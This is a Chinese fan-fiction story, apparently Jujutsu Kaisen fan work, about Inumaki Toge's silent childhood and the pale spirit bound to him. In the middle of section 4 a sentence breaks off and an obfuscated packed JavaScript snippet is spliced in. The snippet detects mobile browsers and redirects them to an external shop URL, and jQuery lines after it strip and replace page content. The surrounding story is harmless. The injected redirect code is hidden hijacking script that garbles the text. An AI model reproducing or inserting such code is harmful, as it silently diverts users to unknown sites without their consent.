1.
我生来就有蛇纹。
母亲说，那些深紫色的纹路像蔓生的藤，从嘴角蜿蜒至耳后，在我哭泣时会微微发亮。
接生的护士不敢碰我，小声说这是“被诅咒的孩子”。父亲在产房外抽了一整包烟。
然后祂出现了。
从阴影里走出来，黑发垂至腰际，纯白的眼眶像两枚被洗净的卵石。
护士的尖叫卡在喉咙里，医生手里的记录板哐当落地。
祂谁也没看，径直走向婴儿床，俯身，苍白的脸停在襁褓上方。
我那时刚哭累了，正抽噎着吐泡泡。
祂伸出细长、骨节分明的手指很轻地碰了碰我嘴角的蛇纹。
凉意让我打了个嗝。
然后我做了一件后来被全家反复提起的事：我抓住了那根手指，攥进小小的拳头里。
祂僵住了。整个人像被按了暂停键的录像，连垂落的发丝都静止在空气里。
过了好几个呼吸，祂才缓慢地、极小心地，弯曲其余手指，包裹住我的手。
像握住一只脆弱的鸟。
“可能是伴生体。”赶来的咒术师检查后下了结论，“祂是非咒灵，根本无法祓除。可能是因为孩子的术式共鸣而生的，我还得研究一下。”
父亲问：“能送走吗？”
咒术师摇头：“……除非孩子死去。”
母亲抱着我哭了。
眼泪滴在我脸上，是温的。
我睁着眼，看站在床尾的祂。
祂也看着我，空茫的眼眶里映不出任何东西。
但我知道，别问我为什么知道，因为我就是知道——祂在“看”我。
从此，我的人生有了两条规则：
一、不能说话。
二、祂在三步之内。
2.
学“沉默”是从学呼吸开始的。
不是普通呼吸，是那种让咒力在喉咙口打转、咽下去、散进四肢百骸的呼吸法。
一岁半，我刚能站稳，家庭教师就来了——是个穿深色和服的女人，手指有墨香。
“言灵术者的第一课：喉咙是闸门。”她跪坐在我对面，手按在自己颈间，“声音是洪水。一旦开闸，就收不回了。”
我似懂非懂，转头看祂。
祂坐在房间角落，背靠着纸门，黑发铺了一地。发现我在看，祂歪了歪头，一缕发丝滑下肩头。
家庭教师顺着我的视线望去，眉头皱起：“它不能留在这里，会干扰教学。”
母亲在门外小声说：“祂不走……”
“那就关到别的房间。”
母亲去拉祂的手。
那在我印象里是第一次有人主动碰祂。
祂低头看着被握住的手腕，没有反抗，任由母亲牵起来，走向走廊。
走到转角时，祂回头看了我一眼。
我张嘴想喊，但喉咙里滚出的不是音节，是一阵灼热的气流。
纸门上的和纸哗啦一响。
家庭教师脸色变了：“控制住！”
我捂住嘴，眼泪涌上来。倒不是疼，是那种闸门差点被冲垮的恐慌。
那之后，祂被允许待在房间，但必须在我视线之外。
家庭教师拉了一道屏风，让祂坐在后面。
我看不见祂，只能看见屏风底部漏出的一小片黑影，和偶尔移动时衣角拖过的痕迹。
课程很枯燥。
无非就是练呼吸，练手势，练用眼神和饭团馅料名组成的简陋语言。
值得一提，饭团是世界上最好吃的东西！
我学得慢，因为总忍不住瞟向屏风。
有一次，我练“把咒力压回胃里”这个动作时噎住了，咳得满脸通红。
家庭教师正要伸手拍我的背——
屏风倒了，被什么无形的力量轻轻推开的，缓缓向后仰，落地时连声音都很轻。
祂从后面走出来，几步跨到我面前，蹲下，苍白的脸凑得很近。
纯白的眼眶对着我涨红的脸。
然后祂做了个奇怪的动作：把手掌贴在我胸口，轻轻往下顺。
一下，一下，像在捋顺炸毛的猫。
咒力乱窜的灼热感居然真的平复了。
家庭教师愣在原地。
我喘过气，抬起手，拽住祂的袖子。
“……鲑鱼。”我用气声说。
——没事了。
祂看着我，确认我不咳了，才收回手。
然后祂转头看向倒地的屏风，歪头，像在思考怎么把它弄回去。
最终，家庭教师叹了口气：“……罢了。让它坐旁边吧。但不可以出声。”
从此，屏风撤掉了。
祂坐回我身边三步的位置。
我呼吸，祂就看着我喉咙吞咽的动作。
我练手势，祂会模仿，手指笨拙地弯曲，学我比划“鲑鱼”和“木鱼花”。
虽然祂根本不懂这些词的意思。
3.
三岁那年，我第一次失控。
是在院子里。当时母亲在晾衣服，我在追一只蝴蝶。
蝴蝶停在石灯笼上，翅膀一开一合，像在呼吸。
我想叫母亲来看，张嘴的瞬间——
“过——”
后面的音节被我自己掐断了，但已经迟了。
蝴蝶僵住了。不是停住，是真正的、死一般的僵硬。然后它从灯笼上跌落，翅膀碎成几片，在尘土里微微颤动。
我站在原地，手脚冰凉。
母亲跑过来，看见地上的残骸，脸色白了。她蹲下抱住我，手在发抖：“没事的，棘，没事……”
我抬头看廊下。
祂站在那里，不知看了多久。黑发在风里微微飘动，纯白的眼眶对着那只死去的蝴蝶。
然后祂走过来，蹲下，用指尖戳了戳碎片。
动作很轻，像在确认什么。
接着祂抬头看我，伸出手，手掌向上摊开。
掌心躺着一朵小白花。不知从哪里摘的，花瓣边缘有点蔫了。
我不接。
祂歪头，把花又往前递了递。
母亲说，我终于哭了。
没有声音，眼泪啪嗒啪嗒往下掉，砸在祂手心里，把那朵花打得一颤一颤。
祂收回手，看看湿漉漉的花，又看看我。
然后祂做了一个我至今记得的动作：祂把花别在自己耳后，放得歪歪扭扭的，一半花瓣都垂下来了。
不过祂双手捧住我的脸，用拇指擦我的眼泪。
凉的指腹，笨拙的力道。
母亲在一旁看着，忽然也哭了。她背过身去，肩膀微微颤抖。
那天晚上，父亲带回一个东西。
是个小木盒，打开是满满的、五彩斑斓的玻璃珠子。
“不能说话，”他把盒子放在我面前，“就玩这个吧。想说什么，就摆什么。”
第二日，我拿起一颗蓝色珠子。
祂也学我，拿起一颗红色的，凑到眼前看。
阳光透过珠子，在祂苍白的脸上投下一小块晃动的光斑。
我摆了一颗蓝的，又摆一颗黄的。
祂看我摆，就把自己手里的红珠子放在蓝珠子旁边。
我们就这样在榻榻米上摆了一下午。
没有意义，没有词语，就只是颜色挨着颜色，珠子碰着珠子。
摆到夕阳西下时，整个房间都是闪烁的光点。
我累得趴下了，祂还坐着，伸手去拨弄一串绿色的珠子，看它们滚来滚去。
母亲端茶进来时，愣了一下，然后笑了。
“像星空呢。”她说。
我看向祂。祂正捏着一颗紫色的珠子，对着窗外最后的天光，纯白的眼眶里映不出珠子的颜色，但祂看得很专注。
那一刻我突然觉得，也许这样也行。
不能说，就摆珠子。不能喊，就拽袖子。不能哭出声，就抓住祂冰凉的手。
祂会……永远陪着我的。
4.
五岁生日前，铃木老师来了。
铃木老师是个脸上有疤的老人，说话时疤痕会跟着动。
“狗卷家的术式，”他盘腿坐下，掏出一本旧笔记，“是诅咒也是祝福。你不能说话，但你的声音有力量。”
他让我试着对他“说”什么，当然是用珠子。
我摆了一颗黑的，一颗白的。
——困惑。
铃木老师笑了：“很好的开始呢，狗卷君。”他看向坐在我身后的祂，“它呢？能沟通吗？”
我摇头，拿起两颗红珠子并排摆。
——只听
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114032|195894||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我的。
“只对你产生反应？”铃木老师摸了摸下巴，“那试试这个。”
他掏出一个巴掌大的咒骸，像简陋的布老鼠，放在榻榻米上。
“这是最低级的咒力感应体。你对它‘说’话，用珠子摆出指令，看它会不会动。”
我盯着布老鼠，想了想，摆出三颗蓝珠子排成直线。
——前进。
咒骸抖了一下，往前挪了半寸。
铃木老师眼睛亮了：“很好！那如果让它……”他指向祂，“……来传达你的指令呢？”
我愣住。
铃木老师解释：“它听不懂人话，但应该能感应你的咒力波动。你摆珠子时，咒力会下意识流动。让它接触你，感知那个流动，然后由它来触发咒骸。”
我看向祂。
祂正盯着布老鼠，发现我看它，便转回头，纯白的眼眶对着我。
我伸手，抓住祂的手腕，拉过来放在珠子旁边。然后我重新摆出那三颗蓝珠子，这次集中精神，让咒力顺着指尖渗进珠子里。
祂的手动了动。
祂低头看自己的手，又看珠子，然后慢慢伸出手指，碰了碰最前面的蓝珠子。
咒骸猛地往前窜了一尺，撞到墙壁才停下。
房间里安静了一瞬。
铃木老师大笑，疤痕挤成一团：“果然成功了呢，它不是你声音的传声筒，是你咒力的放大器嘛~”
我盯着自己的手，又看看祂。
祂也盯着自己的手指，然后抬头看我，歪头。
——刚刚发生了什么？
我抓起一颗黄珠子塞进祂手里。
祂捏着珠子，凑到眼前看了半天，然后学我的样子，把它放在那串蓝珠子后面。
咒骸又动了动，这次是原地转了个圈。
铃木老师笑得更厉害了：“搭档，天生的搭档，上天都在祝福你呢，狗卷君。”
5.
那天之后，课程就变了。
我不只学控制，学“不说”，还要学如何通过祂来间接使用术式。
铃木老师说这是“双重保险”：我的声音太危险，但祂可以成为我和世界之间的缓冲带。
“你想让门关上，”他示范，“不要直接说‘关’，而是摆出‘关’的意念，让祂去碰门。”
我试了。集中精神想“关”，然后看向祂。
祂正盯着窗外的麻雀，感应到我的视线，转回头。
我们对视几秒，祂站起来，走到门边，伸手把开着的纸门拉上了。
动作自然得像只是顺手。
铃木老师鼓掌：“完美，它不懂‘关门’这个词，但懂你想让门关上的‘意图’。”
我摆出两颗白珠子。
——怎么懂的？
“咒力共鸣。”老人用指尖点点自己的太阳穴，“你们从出生就连在一起。你的咒力波动，对它来说就像心跳一样清晰。”
我看向祂。
祂关完门回来，重新在我身边坐下，衣角碰到我的膝盖。
凉的布料。
我伸手，抓住那片衣角。
祂低头看看，然后把自己的手覆在我的手上。
凉的皮肤贴着温的皮肤。
铃木老师看着我们，笑容慢慢淡了，变成一种复杂的沉思。
“但是狗卷君，”他说，“总有一天，你会遇到必须独自面对的时刻。它也许不在三步之内，也许无法碰触你。到那时，你怎么办？”
我答不上来。
窗外传来乌鸦的叫声。祂立刻转头看向窗户，身体微微前倾，像要站起来的预备动作。
我拽了拽祂的衣角。
祂转回头，纯白的眼眶对着我。
我摆出三颗红珠子，排成一个三角形。
——你在，就行。
祂看了珠子很久，然后伸手，把其中一颗红珠子挪了挪，让三角形变成一条直线。
像是说：一直在。
铃木老师叹了口气，开始收拾教材。
“今天就到这里吧。”走到门口时，他回头，“对了，下个月开始，你需要一个‘容器’。”
我抬头。
“你不能总让它跟在你身边。普通人会害怕，咒术界会警惕。”他顿了顿，“找个箱子，让它待进去。需要时再出来。”